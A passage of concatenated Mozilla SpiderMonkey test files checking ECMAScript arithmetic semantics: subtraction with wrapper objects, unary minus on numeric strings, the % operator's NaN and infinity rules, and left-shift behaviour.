primitive and a boolean object. new TestCase( SECTION, "var EXP_1 = true; var EXP_2 = false; EXP_1 - EXP_2", 1, eval("var EXP_1 = true; var EXP_2 = false; EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Boolean(true); var EXP_2 = new Boolean(false); EXP_1 - EXP_2", 1, eval("var EXP_1 = new Boolean(true); var EXP_2 = new Boolean(false); EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Object(true); var EXP_2 = new Object(false); EXP_1 - EXP_2", 1, eval("var EXP_1 = new Object(true); var EXP_2 = new Object(false); EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Object(new Boolean(true)); var EXP_2 = new Object(new Boolean(false)); EXP_1 - EXP_2", 1, eval("var EXP_1 = new Object(new Boolean(true)); var EXP_2 = new Object(new Boolean(false)); EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(true); var EXP_2 = new MyObject(false); EXP_1 - EXP_2", 1, eval("var EXP_1 = new MyObject(true); var EXP_2 = new MyObject(false); EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(new Boolean(true)); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 - EXP_2", Number.NaN, eval("var EXP_1 = new MyObject(new Boolean(true)); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyOtherObject(new Boolean(true)); var EXP_2 = new MyOtherObject(new Boolean(false)); EXP_1 - EXP_2", Number.NaN, eval("var EXP_1 = new MyOtherObject(new Boolean(true)); var EXP_2 = new MyOtherObject(new Boolean(false)); EXP_1 - EXP_2") ); // tests for number primitive, number object, Object object, a "MyObject" whose value is // a number primitive and a number object. new TestCase( SECTION, "var EXP_1 = 100; var EXP_2 = 1; EXP_1 - EXP_2", 99, eval("var EXP_1 = 100; var EXP_2 = 1; EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Number(100); var EXP_2 = new Number(1); EXP_1 - EXP_2", 99, eval("var EXP_1 = new Number(100); var EXP_2 = new Number(1); EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Object(100); var EXP_2 = new Object(1); EXP_1 - EXP_2", 99, eval("var EXP_1 = new Object(100); var EXP_2 = new Object(1); EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Object(new Number(100)); var EXP_2 = new Object(new Number(1)); EXP_1 - EXP_2", 99, eval("var EXP_1 = new Object(new Number(100)); var EXP_2 = new Object(new Number(1)); EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(100); var EXP_2 = new MyObject(1); EXP_1 - EXP_2", 99, eval("var EXP_1 = new MyObject(100); var EXP_2 = new MyObject(1); EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(new Number(100)); var EXP_2 = new MyObject(new Number(1)); EXP_1 - EXP_2", Number.NaN, eval("var EXP_1 = new MyObject(new Number(100)); var EXP_2 = new MyObject(new Number(1)); EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyOtherObject(new Number(100)); var EXP_2 = new MyOtherObject(new Number(1)); EXP_1 - EXP_2", 99, eval("var EXP_1 = new MyOtherObject(new Number(100)); var EXP_2 = new MyOtherObject(new Number(1)); EXP_1 - EXP_2") ); // same thing with string! new TestCase( SECTION, "var EXP_1 = new MyOtherObject(new String('0xff')); var EXP_2 = new MyOtherObject(new String('1'); EXP_1 - EXP_2", 254, eval("var EXP_1 = new MyOtherObject(new String('0xff')); var EXP_2 = new MyOtherObject(new String('1')); EXP_1 - EXP_2") ); test(); function MyPrototypeObject(value) { this.valueOf = new Function( "return this.value;" ); this.toString = new Function( "return (this.value + '');" ); this.value = value; } function MyObject( value ) { this.valueOf = new Function( "return this.value" ); this.value = value; } function MyOtherObject( value ) { this.valueOf = new Function( "return this.value" ); this.toString = new Function ( "return this.value + ''" ); this.value = value; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.4.7-02.js0000664000175000017500000000273512106270663021711 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: 11.4.7-02.js * Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=432881 * Description: ecma 11.4.7 */ var SECTION = "11.4.7"; var VERSION = "ECMA"; var TITLE = "Unary - Operator"; var BUGNUMBER = "432881"; startTest(); test_negation(0, -0.0); test_negation(-0.0, 0); test_negation(1, -1); test_negation(1.0/0.0, -1.0/0.0); test_negation(-1.0/0.0, 1.0/0.0); //1073741824 == (1 << 30) test_negation(1073741824, -1073741824); test_negation(-1073741824, 1073741824); //1073741824 == (1 << 30) - 1 test_negation(1073741823, -1073741823); test_negation(-1073741823, 1073741823); //1073741824 == (1 << 30) test_negation(1073741824, -1073741824); test_negation(-1073741824, 1073741824); //1073741824 == (1 << 30) - 1 test_negation(1073741823, -1073741823); test_negation(-1073741823, 1073741823); //2147483648 == (1 << 31) test_negation(2147483648, -2147483648); test_negation(-2147483648, 2147483648); //2147483648 == (1 << 31) - 1 test_negation(2147483647, -2147483647); test_negation(-2147483647, 2147483647); function test_negation(value, expected) { var actual = -value; reportCompare(expected, actual, '-(' + value + ') == ' + expected); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.5.3.js0000664000175000017500000002073612106270663021470 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.5.3.js ECMA Section: 11.5.3 Applying the % operator Description: The binary % operator is said to yield the remainder of its operands from an implied division; the left operand is the dividend and the right operand is the divisor. In C and C++, the remainder operator accepts only integral operands, but in ECMAScript, it also accepts floating-point operands. The result of a floating-point remainder operation as computed by the % operator is not the same as the "remainder" operation defined by IEEE 754. The IEEE 754 "remainder" operation computes the remainder from a rounding division, not a truncating division, and so its behavior is not analogous to that of the usual integer remainder operator. Instead the ECMAScript language defines % on floating-point operations to behave in a manner analogous to that of the Java integer remainder operator; this may be compared with the C library function fmod. The result of a ECMAScript floating-point remainder operation is determined by the rules of IEEE arithmetic: If either operand is NaN, the result is NaN. The sign of the result equals the sign of the dividend. If the dividend is an infinity, or the divisor is a zero, or both, the result is NaN. If the dividend is finite and the divisor is an infinity, the result equals the dividend. If the dividend is a zero and the divisor is finite, the result is the same as the dividend. In the remaining cases, where neither an infinity, nor a zero, nor NaN is involved, the floating-point remainder r from a dividend n and a divisor d is defined by the mathematical relation r = n (d * q) where q is an integer that is negative only if n/d is negative and positive only if n/d is positive, and whose magnitude is as large as possible without exceeding the magnitude of the true mathematical quotient of n and d. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.5.3"; var VERSION = "ECMA_1"; var BUGNUMBER="111202"; startTest(); writeHeaderToLog( SECTION + " Applying the % operator"); // if either operand is NaN, the result is NaN. new TestCase( SECTION, "Number.NaN % Number.NaN", Number.NaN, Number.NaN % Number.NaN ); new TestCase( SECTION, "Number.NaN % 1", Number.NaN, Number.NaN % 1 ); new TestCase( SECTION, "1 % Number.NaN", Number.NaN, 1 % Number.NaN ); new TestCase( SECTION, "Number.POSITIVE_INFINITY % Number.NaN", Number.NaN, Number.POSITIVE_INFINITY % Number.NaN ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY % Number.NaN", Number.NaN, Number.NEGATIVE_INFINITY % Number.NaN ); // If the dividend is an infinity, or the divisor is a zero, or both, the result is NaN. // dividend is an infinity new TestCase( SECTION, "Number.NEGATIVE_INFINITY % Number.NEGATIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY % Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.POSITIVE_INFINITY % Number.NEGATIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY % Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY % Number.POSITIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY % Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.POSITIVE_INFINITY % Number.POSITIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY % Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.POSITIVE_INFINITY % 0", Number.NaN, Number.POSITIVE_INFINITY % 0 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY % 0", Number.NaN, Number.NEGATIVE_INFINITY % 0 ); new TestCase( SECTION, "Number.POSITIVE_INFINITY % -0", Number.NaN, Number.POSITIVE_INFINITY % -0 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY % -0", Number.NaN, Number.NEGATIVE_INFINITY % -0 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY % 1 ", Number.NaN, Number.NEGATIVE_INFINITY % 1 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY % -1 ", Number.NaN, Number.NEGATIVE_INFINITY % -1 ); new TestCase( SECTION, "Number.POSITIVE_INFINITY % 1 ", Number.NaN, Number.POSITIVE_INFINITY % 1 ); new TestCase( SECTION, "Number.POSITIVE_INFINITY % -1 ", Number.NaN, Number.POSITIVE_INFINITY % -1 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY % Number.MAX_VALUE ", Number.NaN, Number.NEGATIVE_INFINITY % Number.MAX_VALUE ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY % -Number.MAX_VALUE ", Number.NaN, Number.NEGATIVE_INFINITY % -Number.MAX_VALUE ); new TestCase( SECTION, "Number.POSITIVE_INFINITY % Number.MAX_VALUE ", Number.NaN, Number.POSITIVE_INFINITY % Number.MAX_VALUE ); new TestCase( SECTION, "Number.POSITIVE_INFINITY % -Number.MAX_VALUE ", Number.NaN, Number.POSITIVE_INFINITY % -Number.MAX_VALUE ); // divisor is 0 new TestCase( SECTION, "0 % -0", Number.NaN, 0 % -0 ); new TestCase( SECTION, "-0 % 0", Number.NaN, -0 % 0 ); new TestCase( SECTION, "-0 % -0", Number.NaN, -0 % -0 ); new TestCase( SECTION, "0 % 0", Number.NaN, 0 % 0 ); new TestCase( SECTION, "1 % 0", Number.NaN, 1%0 ); new TestCase( SECTION, "1 % -0", Number.NaN, 1%-0 ); new TestCase( SECTION, "-1 % 0", Number.NaN, -1%0 ); new TestCase( SECTION, "-1 % -0", Number.NaN, -1%-0 ); new TestCase( SECTION, "Number.MAX_VALUE % 0", Number.NaN, Number.MAX_VALUE%0 ); new TestCase( SECTION, "Number.MAX_VALUE % -0", Number.NaN, Number.MAX_VALUE%-0 ); new TestCase( SECTION, "-Number.MAX_VALUE % 0", Number.NaN, -Number.MAX_VALUE%0 ); new TestCase( SECTION, "-Number.MAX_VALUE % -0", Number.NaN, -Number.MAX_VALUE%-0 ); // If the dividend is finite and the divisor is an infinity, the result equals the dividend. new TestCase( SECTION, "1 % Number.NEGATIVE_INFINITY", 1, 1 % Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "1 % Number.POSITIVE_INFINITY", 1, 1 % Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-1 % Number.POSITIVE_INFINITY", -1, -1 % Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-1 % Number.NEGATIVE_INFINITY", -1, -1 % Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE % Number.NEGATIVE_INFINITY", Number.MAX_VALUE, Number.MAX_VALUE % Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE % Number.POSITIVE_INFINITY", Number.MAX_VALUE, Number.MAX_VALUE % Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-Number.MAX_VALUE % Number.POSITIVE_INFINITY", -Number.MAX_VALUE, -Number.MAX_VALUE % Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-Number.MAX_VALUE % Number.NEGATIVE_INFINITY", -Number.MAX_VALUE, -Number.MAX_VALUE % Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "0 % Number.POSITIVE_INFINITY", 0, 0 % Number.POSITIVE_INFINITY ); new TestCase( SECTION, "0 % Number.NEGATIVE_INFINITY", 0, 0 % Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-0 % Number.POSITIVE_INFINITY", -0, -0 % Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-0 % Number.NEGATIVE_INFINITY", -0, -0 % Number.NEGATIVE_INFINITY ); // If the dividend is a zero and the divisor is finite, the result is the same as the dividend. new TestCase( SECTION, "0 % 1", 0, 0 % 1 ); new TestCase( SECTION, "0 % -1", -0, 0 % -1 ); new TestCase( SECTION, "-0 % 1", -0, -0 % 1 ); new TestCase( SECTION, "-0 % -1", 0, -0 % -1 ); // In the remaining cases, where neither an infinity, nor a zero, nor NaN is involved, the floating-point remainder r // from a dividend n and a divisor d is defined by the mathematical relation r = n (d * q) where q is an integer that // is negative only if n/d is negative and positive only if n/d is positive, and whose magnitude is as large as // possible without exceeding the magnitude of the true mathematical quotient of n and d. test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.7.1.js0000664000175000017500000001020012106270663021451 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.7.1.js ECMA Section: 11.7.1 The Left Shift Operator ( << ) Description: Performs a bitwise left shift operation on the left argument by the amount specified by the right argument. The production ShiftExpression : ShiftExpression << AdditiveExpression is evaluated as follows: 1. Evaluate ShiftExpression. 2. Call GetValue(Result(1)). 3. Evaluate AdditiveExpression. 4. Call GetValue(Result(3)). 5. Call ToInt32(Result(2)). 6. Call ToUint32(Result(4)). 7. Mask out all but the least significant 5 bits of Result(6), that is, compute Result(6) & 0x1F. 8. Left shift Result(5) by Result(7) bits. The result is a signed 32 bit integer. 9. Return Result(8). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.7.1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The left shift operator ( << )"); for ( power = 0; power < 33; power++ ) { shiftexp = Math.pow( 2, power ); for ( addexp = 0; addexp < 33; addexp++ ) { new TestCase( SECTION, shiftexp + " << " + addexp, LeftShift( shiftexp, addexp ), shiftexp << addexp ); } } test(); function ToInteger( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( n != n ) { return 0; } if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) { return n; } return ( sign * Math.floor(Math.abs(n)) ); } function ToInt32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32); n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n; return ( n ); } function ToUint32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = sign * Math.floor( Math.abs(n) ) n = n % Math.pow(2,32); if ( n < 0 ){ n += Math.pow(2,32); } return ( n ); } function ToUint16( n ) { var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16); if (n <0) { n += Math.pow(2,16); } return ( n ); } function Mask( b, n ) { b = ToUint32BitString( b ); b = b.substring( b.length - n ); b = ToUint32Decimal( b ); return ( b ); } function ToUint32BitString( n ) { var b = ""; for ( p = 31; p >=0; p-- ) { if ( n >= Math.pow(2,p) ) { b += "1"; n -= Math.pow(2,p); } else { b += "0"; } } return b; } function ToInt32BitString( n ) { var b = ""; var sign = ( n < 0 ) ? -1 : 1; b += ( sign == 1 ) ? "0" : "1"; for ( p = 30; p >=0; p-- ) { if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) { b += ( sign == 1 ) ? "1" : "0"; n -= sign * Math.pow( 2, p ); } else { b += ( sign == 1 ) ? "0" : "1"; } } return b; } function ToInt32Decimal( bin ) { var r = 0; var sign; if ( Number(bin.charAt(0)) == 0 ) { sign = 1; r = 0; } else { sign = -1; r = -(Math.pow(2,31)); } for ( var j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function ToUint32Decimal( bin ) { var r = 0; for ( l = bin.length; l < 32; l++ ) { bin = "0" + bin; } for ( j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function LeftShift( s, a ) { var shift = ToInt32( s ); var add = ToUint32( a ); add = Mask( add, 5 ); var exp = LShift( shift, add ); return ( exp ); } function LShift( s, a ) { s = ToInt32BitString( s ); for ( var z = 0; z < a; z++ ) { s += "0"; } s = s.substring( a, s.length); return ToInt32(ToInt32Decimal(s)); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.4.7-01.js0000664000175000017500000004144512106270663021711 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.4.7-01.js ECMA Section: 11.4.7 Unary - Operator Description: convert operand to Number type and change sign Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "11.4.7"; var VERSION = "ECMA_1"; var BUGNUMBER="77391"; startTest(); writeHeaderToLog( SECTION + " Unary + operator"); new TestCase( SECTION, "-('')", -0, -("") ); new TestCase( SECTION, "-(' ')", -0, -(" ") ); new TestCase( SECTION, "-(\\t)", -0, -("\t") ); new TestCase( SECTION, "-(\\n)", -0, -("\n") ); new TestCase( SECTION, "-(\\r)", -0, -("\r") ); new TestCase( SECTION, "-(\\f)", -0, -("\f") ); new TestCase( SECTION, "-(String.fromCharCode(0x0009)", -0, -(String.fromCharCode(0x0009)) ); new TestCase( SECTION, "-(String.fromCharCode(0x0020)", -0, -(String.fromCharCode(0x0020)) ); new TestCase( SECTION, "-(String.fromCharCode(0x000C)", -0, -(String.fromCharCode(0x000C)) ); new TestCase( SECTION, "-(String.fromCharCode(0x000B)", -0, -(String.fromCharCode(0x000B)) ); new TestCase( SECTION, "-(String.fromCharCode(0x000D)", -0, -(String.fromCharCode(0x000D)) ); new TestCase( SECTION, "-(String.fromCharCode(0x000A)", -0, -(String.fromCharCode(0x000A)) ); // a StringNumericLiteral may be preceeded or followed by whitespace and/or // line terminators new TestCase( SECTION, "-( ' ' + 999 )", -999, -( ' '+999) ); new TestCase( SECTION, "-( '\\n' + 999 )", -999, -( '\n' +999) ); new TestCase( SECTION, "-( '\\r' + 999 )", -999, -( '\r' +999) ); new TestCase( SECTION, "-( '\\t' + 999 )", -999, -( '\t' +999) ); new TestCase( SECTION, "-( '\\f' + 999 )", -999, -( '\f' +999) ); new TestCase( SECTION, "-( 999 + ' ' )", -999, -( 999+' ') ); new TestCase( SECTION, "-( 999 + '\\n' )", -999, -( 999+'\n' ) ); new TestCase( SECTION, "-( 999 + '\\r' )", -999, -( 999+'\r' ) ); new TestCase( SECTION, "-( 999 + '\\t' )", -999, -( 999+'\t' ) ); new TestCase( SECTION, "-( 999 + '\\f' )", -999, -( 999+'\f' ) ); new TestCase( SECTION, "-( '\\n' + 999 + '\\n' )", -999, -( '\n' +999+'\n' ) ); new TestCase( SECTION, "-( '\\r' + 999 + '\\r' )", -999, -( '\r' +999+'\r' ) ); new TestCase( SECTION, "-( '\\t' + 999 + '\\t' )", -999, -( '\t' +999+'\t' ) ); new TestCase( SECTION, "-( '\\f' + 999 + '\\f' )", -999, -( '\f' +999+'\f' ) ); new TestCase( SECTION, "-( ' ' + '999' )", -999, -( ' '+'999') ); new TestCase( SECTION, "-( '\\n' + '999' )", -999, -( '\n' +'999') ); new TestCase( SECTION, "-( '\\r' + '999' )", -999, -( '\r' +'999') ); new TestCase( SECTION, "-( '\\t' + '999' )", -999, -( '\t' +'999') ); new TestCase( SECTION, "-( '\\f' + '999' )", -999, -( '\f' +'999') ); new TestCase( SECTION, "-( '999' + ' ' )", -999, -( '999'+' ') ); new TestCase( SECTION, "-( '999' + '\\n' )", -999, -( '999'+'\n' ) ); new TestCase( SECTION, "-( '999' + '\\r' )", -999, -( '999'+'\r' ) ); new TestCase( SECTION, "-( '999' + '\\t' )", -999, -( '999'+'\t' ) ); new TestCase( SECTION, "-( '999' + '\\f' )", -999, -( '999'+'\f' ) ); new TestCase( SECTION, "-( '\\n' + '999' + '\\n' )", -999, -( '\n' +'999'+'\n' ) ); new TestCase( SECTION, "-( '\\r' + '999' + '\\r' )", -999, -( '\r' +'999'+'\r' ) ); new TestCase( SECTION, "-( '\\t' + '999' + '\\t' )", -999, -( '\t' +'999'+'\t' ) ); new TestCase( SECTION, "-( '\\f' + '999' + '\\f' )", -999, -( '\f' +'999'+'\f' ) ); new TestCase( SECTION, "-( String.fromCharCode(0x0009) + '99' )", -99, -( String.fromCharCode(0x0009) + '99' ) ); new TestCase( SECTION, "-( String.fromCharCode(0x0020) + '99' )", -99, -( String.fromCharCode(0x0020) + '99' ) ); new TestCase( SECTION, "-( String.fromCharCode(0x000C) + '99' )", -99, -( String.fromCharCode(0x000C) + '99' ) ); new TestCase( SECTION, "-( String.fromCharCode(0x000B) + '99' )", -99, -( String.fromCharCode(0x000B) + '99' ) ); new TestCase( SECTION, "-( String.fromCharCode(0x000D) + '99' )", -99, -( String.fromCharCode(0x000D) + '99' ) ); new TestCase( SECTION, "-( String.fromCharCode(0x000A) + '99' )", -99, -( String.fromCharCode(0x000A) + '99' ) ); new TestCase( SECTION, "-( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "-( String.fromCharCode(0x0020) + '99' + String.fromCharCode(0x0020)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "-( String.fromCharCode(0x000C) + '99' + String.fromCharCode(0x000C)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "-( String.fromCharCode(0x000D) + '99' + String.fromCharCode(0x000D)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "-( String.fromCharCode(0x000B) + '99' + String.fromCharCode(0x000B)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "-( String.fromCharCode(0x000A) + '99' + String.fromCharCode(0x000A)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000A)) ); new TestCase( SECTION, "-( '99' + String.fromCharCode(0x0009)", -99, -( '99' + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "-( '99' + String.fromCharCode(0x0020)", -99, -( '99' + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "-( '99' + String.fromCharCode(0x000C)", -99, -( '99' + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "-( '99' + String.fromCharCode(0x000D)", -99, -( '99' + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "-( '99' + String.fromCharCode(0x000B)", -99, -( '99' + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "-( '99' + String.fromCharCode(0x000A)", -99, -( '99' + String.fromCharCode(0x000A)) ); new TestCase( SECTION, "-( String.fromCharCode(0x0009) + 99 )", -99, -( String.fromCharCode(0x0009) + 99 ) ); new TestCase( SECTION, "-( String.fromCharCode(0x0020) + 99 )", -99, -( String.fromCharCode(0x0020) + 99 ) ); new TestCase( SECTION, "-( String.fromCharCode(0x000C) + 99 )", -99, -( String.fromCharCode(0x000C) + 99 ) ); new TestCase( SECTION, "-( String.fromCharCode(0x000B) + 99 )", -99, -( String.fromCharCode(0x000B) + 99 ) ); new TestCase( SECTION, "-( String.fromCharCode(0x000D) + 99 )", -99, -( String.fromCharCode(0x000D) + 99 ) ); new TestCase( SECTION, "-( String.fromCharCode(0x000A) + 99 )", -99, -( String.fromCharCode(0x000A) + 99 ) ); new TestCase( SECTION, "-( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "-( String.fromCharCode(0x0020) + 99 + String.fromCharCode(0x0020)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "-( String.fromCharCode(0x000C) + 99 + String.fromCharCode(0x000C)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "-( String.fromCharCode(0x000D) + 99 + String.fromCharCode(0x000D)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "-( String.fromCharCode(0x000B) + 99 + String.fromCharCode(0x000B)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "-( String.fromCharCode(0x000A) + 99 + String.fromCharCode(0x000A)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000A)) ); new TestCase( SECTION, "-( 99 + String.fromCharCode(0x0009)", -99, -( 99 + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "-( 99 + String.fromCharCode(0x0020)", -99, -( 99 + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "-( 99 + String.fromCharCode(0x000C)", -99, -( 99 + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "-( 99 + String.fromCharCode(0x000D)", -99, -( 99 + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "-( 99 + String.fromCharCode(0x000B)", -99, -( 99 + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "-( 99 + String.fromCharCode(0x000A)", -99, -( 99 + String.fromCharCode(0x000A)) ); // StrNumericLiteral:::StrDecimalLiteral:::Infinity new TestCase( SECTION, "-('Infinity')", -Math.pow(10,10000), -("Infinity") ); new TestCase( SECTION, "-('-Infinity')", +Math.pow(10,10000), -("-Infinity") ); new TestCase( SECTION, "-('+Infinity')", -Math.pow(10,10000), -("+Infinity") ); // StrNumericLiteral::: StrDecimalLiteral ::: DecimalDigits . DecimalDigits opt ExponentPart opt new TestCase( SECTION, "-('0')", -0, -("0") ); new TestCase( SECTION, "-('-0')", +0, -("-0") ); new TestCase( SECTION, "-('+0')", -0, -("+0") ); new TestCase( SECTION, "-('1')", -1, -("1") ); new TestCase( SECTION, "-('-1')", +1, -("-1") ); new TestCase( SECTION, "-('+1')", -1, -("+1") ); new TestCase( SECTION, "-('2')", -2, -("2") ); new TestCase( SECTION, "-('-2')", +2, -("-2") ); new TestCase( SECTION, "-('+2')", -2, -("+2") ); new TestCase( SECTION, "-('3')", -3, -("3") ); new TestCase( SECTION, "-('-3')", +3, -("-3") ); new TestCase( SECTION, "-('+3')", -3, -("+3") ); new TestCase( SECTION, "-('4')", -4, -("4") ); new TestCase( SECTION, "-('-4')", +4, -("-4") ); new TestCase( SECTION, "-('+4')", -4, -("+4") ); new TestCase( SECTION, "-('5')", -5, -("5") ); new TestCase( SECTION, "-('-5')", +5, -("-5") ); new TestCase( SECTION, "-('+5')", -5, -("+5") ); new TestCase( SECTION, "-('6')", -6, -("6") ); new TestCase( SECTION, "-('-6')", +6, -("-6") ); new TestCase( SECTION, "-('+6')", -6, -("+6") ); new TestCase( SECTION, "-('7')", -7, -("7") ); new TestCase( SECTION, "-('-7')", +7, -("-7") ); new TestCase( SECTION, "-('+7')", -7, -("+7") ); new TestCase( SECTION, "-('8')", -8, -("8") ); new TestCase( SECTION, "-('-8')", +8, -("-8") ); new TestCase( SECTION, "-('+8')", -8, -("+8") ); new TestCase( SECTION, "-('9')", -9, -("9") ); new TestCase( SECTION, "-('-9')", +9, -("-9") ); new TestCase( SECTION, "-('+9')", -9, -("+9") ); new TestCase( SECTION, "-('3.14159')", -3.14159, -("3.14159") ); new TestCase( SECTION, "-('-3.14159')", +3.14159, -("-3.14159") ); new TestCase( SECTION, "-('+3.14159')", -3.14159, -("+3.14159") ); new TestCase( SECTION, "-('3.')", -3, -("3.") ); new TestCase( SECTION, "-('-3.')", +3, -("-3.") ); new TestCase( SECTION, "-('+3.')", -3, -("+3.") ); new TestCase( SECTION, "-('3.e1')", -30, -("3.e1") ); new TestCase( SECTION, "-('-3.e1')", +30, -("-3.e1") ); new TestCase( SECTION, "-('+3.e1')", -30, -("+3.e1") ); new TestCase( SECTION, "-('3.e+1')", -30, -("3.e+1") ); new TestCase( SECTION, "-('-3.e+1')", +30, -("-3.e+1") ); new TestCase( SECTION, "-('+3.e+1')", -30, -("+3.e+1") ); new TestCase( SECTION, "-('3.e-1')", -.30, -("3.e-1") ); new TestCase( SECTION, "-('-3.e-1')", +.30, -("-3.e-1") ); new TestCase( SECTION, "-('+3.e-1')", -.30, -("+3.e-1") ); // StrDecimalLiteral::: .DecimalDigits ExponentPart opt new TestCase( SECTION, "-('.00001')", -0.00001, -(".00001") ); new TestCase( SECTION, "-('+.00001')", -0.00001, -("+.00001") ); new TestCase( SECTION, "-('-0.0001')", +0.00001, -("-.00001") ); new TestCase( SECTION, "-('.01e2')", -1, 